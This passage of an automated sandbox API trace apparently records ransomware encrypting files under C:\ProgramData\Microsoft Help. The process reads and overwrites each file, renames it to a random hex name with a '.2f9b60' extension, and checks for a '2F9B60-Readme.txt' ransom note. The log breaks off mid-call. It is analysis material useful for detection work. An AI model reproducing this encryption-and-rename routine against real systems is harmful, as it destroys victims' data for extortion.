[0087.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0087.188] NtQuerySystemTime (in: CurrentTime=0x204ff7e0 | out: CurrentTime=0x204ff7e0*=132462176930614000) returned 0x0 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x42943101 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x3822f20c [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x211654e3 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x589ada2a [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x7ca7a21d [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x4586f1a [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x5142c88b [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x4f83aa9e [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x3c8b65f8 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x23fc2204 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0xc7c46da [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x79dc1b82 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x206d1275 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0xd8afae4 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x438e09e8 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x12e34d35 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x482ba89d [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x34ae3ebb [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x73cda497 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x7f7328b8 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x53c3fd4 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x5af65112 [0087.188] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x1fbe9faa [0087.189] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0xca6c52e [0087.189] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x6dd985 [0087.189] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x23ee0b3b [0087.189] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x51948da8 [0087.189] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x2c731232 [0087.189] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x181f3297 [0087.189] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x2cda9cd4 [0087.189] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x3171260e [0087.189] RtlRandomEx (in: Seed=0x204ff7d0 | out: Seed=0x204ff7d0) returned 0x184d265d [0087.197] ReadFile (in: hFile=0x970, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x170, lpNumberOfBytesRead=0x204ff7d0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x204ff7d0*=0x170, lpOverlapped=0x0) returned 1 [0087.197] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.197] WriteFile (in: hFile=0x970, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x204ff7d4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x204ff7d4*=0x170, lpOverlapped=0x0) returned 1 [0087.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0087.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b320) returned 1 [0087.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0087.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1cd97210 [0087.200] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.200] WriteFile (in: hFile=0x970, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x204ff8f0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x204ff8f0*=0x128, lpOverlapped=0x0) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0087.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0087.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9eeb0 [0087.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0087.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b350) returned 1 [0087.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0087.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b79dff0 [0087.203] sprintf (in: _Dest=0x1b79dff0, _Format="%c%c" | out: _Dest="7d") returned 2 [0087.203] sprintf (in: _Dest=0x1b79dff2, _Format="%c%c" | out: _Dest="bf") returned 2 [0087.203] sprintf (in: _Dest=0x1b79dff4, _Format="%c%c" | out: _Dest="13") returned 2 [0087.203] sprintf (in: _Dest=0x1b79dff6, _Format="%c%c" | out: _Dest="fa") returned 2 [0087.203] sprintf (in: _Dest=0x1b79dff8, _Format="%c%c" | out: _Dest="9d") returned 2 [0087.203] sprintf (in: _Dest=0x1b79dffa, _Format="%c%c" | out: _Dest="d7") returned 2 [0087.203] sprintf (in: _Dest=0x1b79dffc, _Format="%c%c" | out: _Dest="31") returned 2 [0087.203] sprintf (in: _Dest=0x1b79dffe, _Format="%c%c" | out: _Dest="85") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e000, _Format="%c%c" | out: _Dest="66") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e002, _Format="%c%c" | out: _Dest="c6") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e004, _Format="%c%c" | out: _Dest="b2") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e006, _Format="%c%c" | out: _Dest="46") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e008, _Format="%c%c" | out: _Dest="ed") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e00a, _Format="%c%c" | out: _Dest="c7") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e00c, _Format="%c%c" | out: _Dest="32") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e00e, _Format="%c%c" | out: _Dest="46") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e010, _Format="%c%c" | out: _Dest="84") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e012, _Format="%c%c" | out: _Dest="aa") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e014, _Format="%c%c" | out: _Dest="22") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e016, _Format="%c%c" | out: _Dest="00") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e018, _Format="%c%c" | out: _Dest="34") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e01a, _Format="%c%c" | out: _Dest="0b") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e01c, _Format="%c%c" | out: _Dest="c7") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e01e, _Format="%c%c" | out: _Dest="b6") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e020, _Format="%c%c" | out: _Dest="9f") returned 2 [0087.203] sprintf (in: _Dest=0x1b79e022, _Format="%c%c" | out: _Dest="fc") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e024, _Format="%c%c" | out: _Dest="01") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e026, _Format="%c%c" | out: _Dest="7a") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e028, _Format="%c%c" | out: _Dest="c1") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e02a, _Format="%c%c" | out: _Dest="d7") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e02c, _Format="%c%c" | out: _Dest="f8") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e02e, _Format="%c%c" | out: _Dest="fb") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e030, _Format="%c%c" | out: _Dest="eb") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e032, _Format="%c%c" | out: _Dest="29") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e034, _Format="%c%c" | out: _Dest="c0") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e036, _Format="%c%c" | out: _Dest="19") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e038, _Format="%c%c" | out: _Dest="29") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e03a, _Format="%c%c" | out: _Dest="2f") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e03c, _Format="%c%c" | out: _Dest="8b") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e03e, _Format="%c%c" | out: _Dest="54") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e040, _Format="%c%c" | out: _Dest="1b") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e042, _Format="%c%c" | out: _Dest="d6") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e044, _Format="%c%c" | out: _Dest="2c") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e046, _Format="%c%c" | out: _Dest="ac") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e048, _Format="%c%c" | out: _Dest="37") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e04a, _Format="%c%c" | out: _Dest="e7") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e04c, _Format="%c%c" | out: _Dest="7d") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e04e, _Format="%c%c" | out: _Dest="84") returned 2 [0087.204] sprintf (in: _Dest=0x1b79e050, _Format="%c%c" | out: _Dest="cf") returned 2 [0087.205] sprintf (in: _Dest=0x1b79e052, _Format="%c%c" | out: _Dest="09") returned 2 [0087.205] sprintf (in: _Dest=0x1b79e054, _Format="%c%c" | out: _Dest="43") returned 2 [0087.205] sprintf (in: _Dest=0x1b79e056, _Format="%c%c" | out: _Dest="ef") returned 2 [0087.205] sprintf (in: _Dest=0x1b79e058, _Format="%c%c" | out: _Dest="f3") returned 2 [0087.205] sprintf (in: _Dest=0x1b79e05a, _Format="%c%c" | out: _Dest="db") returned 2 [0087.205] RtlInitAnsiString (in: DestinationString=0x204ff968, SourceString="7dbf13fa9dd7318566c6b246edc7324684aa2200340bc7b69ffc017ac1d7f8fbeb29c019292f8b541bd62cac37e77d84cf0943eff3db" | out: DestinationString="7dbf13fa9dd7318566c6b246edc7324684aa2200340bc7b69ffc017ac1d7f8fbeb29c019292f8b541bd62cac37e77d84cf0943eff3db") [0087.205] RtlAnsiStringToUnicodeString (in: DestinationString=0x204ff938, SourceString="7dbf13fa9dd7318566c6b246edc7324684aa2200340bc7b69ffc017ac1d7f8fbeb29c019292f8b541bd62cac37e77d84cf0943eff3db", AllocateDestinationString=1 | out: DestinationString="7dbf13fa9dd7318566c6b246edc7324684aa2200340bc7b69ffc017ac1d7f8fbeb29c019292f8b541bd62cac37e77d84cf0943eff3db") returned 0x0 [0087.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b798260 [0087.205] wcscat (in: _Dest=0x1b85c840, _Source="7dbf13fa9dd7318566c6b246edc" | out: _Dest="C:\\ProgramData\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc") returned="C:\\ProgramData\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc" [0087.205] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc.2f9b60" [0087.205] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc.2f9b60", NtPathName=0x204ff910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\7dbf13fa9dd7318566c6b246edc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b7a59c0 [0087.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a59c0) returned 1 [0087.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.206] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x204ff978, FileInformation=0x204ff988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x204ff978, FileInformation=0x204ff988) returned 0x0 [0087.207] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x204ff978, FileInformation=0x204ff988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0087.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798260) returned 1 [0087.208] FlushFileBuffers (hFile=0x970) returned 1 [0087.209] CloseHandle (hObject=0x970) returned 1 [0087.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c20c0 [0087.210] wcscpy (in: _Dest=0x1b7c20c0, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.210] wcscat (in: _Dest=0x1b7c20c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.210] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c20c0) returned 1 [0087.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 Thread: id = 218 os_tid = 0xc98 [0087.212] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn")) returned 0x2022 [0087.212] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.212] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.setlang.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970 [0087.212] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x2096f9a0 | out: lpFileSize=0x2096f9a0*=338) returned 1 [0087.212] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.212] ReadFile (in: hFile=0x970, lpBuffer=0x2096f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2096f968, lpOverlapped=0x0 | out: lpBuffer=0x2096f920*, lpNumberOfBytesRead=0x2096f968*=0x4, lpOverlapped=0x0) returned 1 [0087.213] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0087.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b410 [0087.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.213] NtQuerySystemTime (in: CurrentTime=0x2096f860 | out: CurrentTime=0x2096f860*=132462176930926000) returned 0x0 [0087.213] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x433f54c8 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x78fe5ba2 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x6c06afaa [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x7c001f66 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x28baf253 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x5d29184f [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x58a0f8d5 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x59049305 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x77c0b55 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x377a41d6 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x61acf8cb [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x109ce46f [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x54f9b27c [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x7f9119f5 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x6cd55fe7 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x259af5df [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x58ff4176 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x35867a52 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x5e7a9a93 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x6b60a77e [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x2795900c [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x230ede35 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x615407f [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x794733c8 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x78459b76 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x3818c684 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x4655e8b4 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x176fd8ff [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0xe420a74 [0087.214] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x2d3cb806 [0087.215] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x21ebfe36 [0087.215] RtlRandomEx (in: Seed=0x2096f850 | out: Seed=0x2096f850) returned 0x60b52c1 [0087.221] ReadFile (in: hFile=0x970, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x2096f850, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x2096f850*=0x152, lpOverlapped=0x0) returned 1 [0087.221] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.221] WriteFile (in: hFile=0x970, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2096f854, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x2096f854*=0x152, lpOverlapped=0x0) returned 1 [0087.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0087.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0087.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0087.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97210 [0087.223] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.223] WriteFile (in: hFile=0x970, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2096f970, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2096f970*=0x11e, lpOverlapped=0x0) returned 1 [0087.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd972b0 [0087.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0087.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0087.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b320) returned 1 [0087.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9eeb0 [0087.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0087.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0087.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0087.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0087.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1b7c20c0 [0087.226] sprintf (in: _Dest=0x1b7c20c0, _Format="%c%c" | out: _Dest="ef") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20c2, _Format="%c%c" | out: _Dest="d7") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20c4, _Format="%c%c" | out: _Dest="ad") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20c6, _Format="%c%c" | out: _Dest="4b") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20c8, _Format="%c%c" | out: _Dest="11") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20ca, _Format="%c%c" | out: _Dest="4b") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20cc, _Format="%c%c" | out: _Dest="8f") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20ce, _Format="%c%c" | out: _Dest="99") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20d0, _Format="%c%c" | out: _Dest="df") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20d2, _Format="%c%c" | out: _Dest="21") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20d4, _Format="%c%c" | out: _Dest="5d") returned 2 [0087.226] sprintf (in: _Dest=0x1b7c20d6, _Format="%c%c" | out: _Dest="58") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20d8, _Format="%c%c" | out: _Dest="e0") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20da, _Format="%c%c" | out: _Dest="f7") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20dc, _Format="%c%c" | out: _Dest="fc") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20de, _Format="%c%c" | out: _Dest="ac") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20e0, _Format="%c%c" | out: _Dest="de") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20e2, _Format="%c%c" | out: _Dest="74") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20e4, _Format="%c%c" | out: _Dest="d7") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20e6, _Format="%c%c" | out: _Dest="92") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20e8, _Format="%c%c" | out: _Dest="40") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20ea, _Format="%c%c" | out: _Dest="e0") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20ec, _Format="%c%c" | out: _Dest="36") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20ee, _Format="%c%c" | out: _Dest="e3") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20f0, _Format="%c%c" | out: _Dest="f0") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20f2, _Format="%c%c" | out: _Dest="62") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20f4, _Format="%c%c" | out: _Dest="bc") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20f6, _Format="%c%c" | out: _Dest="ad") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20f8, _Format="%c%c" | out: _Dest="37") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20fa, _Format="%c%c" | out: _Dest="a3") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20fc, _Format="%c%c" | out: _Dest="18") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c20fe, _Format="%c%c" | out: _Dest="82") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c2100, _Format="%c%c" | out: _Dest="61") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c2102, _Format="%c%c" | out: _Dest="a4") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c2104, _Format="%c%c" | out: _Dest="35") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c2106, _Format="%c%c" | out: _Dest="65") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c2108, _Format="%c%c" | out: _Dest="36") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c210a, _Format="%c%c" | out: _Dest="19") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c210c, _Format="%c%c" | out: _Dest="e4") returned 2 [0087.227] sprintf (in: _Dest=0x1b7c210e, 